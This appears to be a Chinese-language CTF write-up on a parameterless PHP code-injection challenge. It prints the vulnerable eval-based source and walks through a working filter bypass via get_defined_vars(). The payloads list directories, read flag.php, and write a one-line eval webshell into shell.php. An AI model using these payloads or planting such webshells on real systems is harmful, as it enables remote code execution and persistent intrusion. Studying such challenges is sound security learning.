昨天做了一个无参数注入RCE的题,学到后面突然觉得可以做一些有趣的事 然后就尝试做了一下,发现可以利用相关漏洞写一个一句话木马 今天来总结一下
以下是源码
<?php
header("content-type:text/html;charset=utf-8");
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
echo "error";
}
highlight_file(__FILE__);
?>
以下是我的目录,可以看到flag.php就在当前目录下 先说说怎么做吧,再重点讲一讲原理 这是我的getshell
val(end(current(get_defined_vars())));&b=system('echo "<?php @eval(_POST[shell]);?>">>shell.php');
这里主要是用了get_defined_vars的特性
首先,下面这玩意儿作用是把$b里面的变量给他eval(),相当于下面的作用是eval(phpinfo())
eval(end(current(get_defined_vars())));&b=phpinfo();
最后的结果如下,很正确吧(关于为啥是这样我也就不说了,网上搜无参数RCE,一大把介绍,我会再文末附上两个我学习的帖子,大火可以参考) 既然b的内容可以直接输出,那么我们让b=system() 那么可操作的空间就变大了
咱们直接来一手b=system(‘dir’),咱们看看效果 直接干出来了目录下的文件
那么思路就清晰了,现在我们只需要b=system(‘type flag.php’)那么flag就出来了(主要要用源码查看,否则有特殊字符不显示)
但这不是我们讲的重点,如果说flag.php不在当前目录呢,我们也有其他方法去做,但是如果直接写一句话,不就更简单了嘛,
直接再system里面放下面这段,一句话木马直接出来了
echo "<?php @eval(_POST[shell]);?>">>shell.php
原理特别简单,我也只是学习到了,突然想到了其他方式,特意来记录下来
然后相关无参数绕过的方式下面有俩大佬写的,我觉得很容易懂,写的很好推荐给大家
参考1
参考1该链接的源代码貌似有点儿不好使
|